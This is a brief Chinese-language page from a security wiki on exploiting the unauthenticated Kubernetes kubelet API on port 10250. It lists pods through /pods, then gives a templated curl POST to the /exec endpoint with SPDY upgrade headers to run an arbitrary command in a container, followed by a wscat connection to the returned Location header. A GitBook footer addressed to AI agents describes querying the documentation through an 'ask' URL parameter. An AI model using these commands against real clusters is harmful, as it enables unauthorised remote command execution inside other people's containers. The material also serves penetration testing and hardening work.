> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/yun-an-quan/kubernetes/wei-shou-quan-api.md).

# 未授权API

```
Kubernetes 在端口 10250 上公开了一个未经身份验证的 REST API。向 /pods 端点发送 GET 请求来获取 pod 列表。
可以得到
● 命名空间
    ○ 监控
● Pod 名称
● 容器名称
    ○ 推送网关
发送get请求
> curl –insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version：channel.k8s.io" -H "Connection：upgrade" -H "Upgrade：SPDY/3.1" -X POST "https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD NAME>/<CONTAINER NAME>?command=<COMMAND TO EXECUTE>&input=1&output=1&tty=1"
可以成功创建了一个 websocket 连接，注意记住返回包里面的Location Header值
下载wscat
> apt-get install node-ws
执行命令
> wscat -c "https://<DOMAIN>:<PORT>/<Location Header Value>" –no-check
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/yun-an-quan/kubernetes/wei-shou-quan-api.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
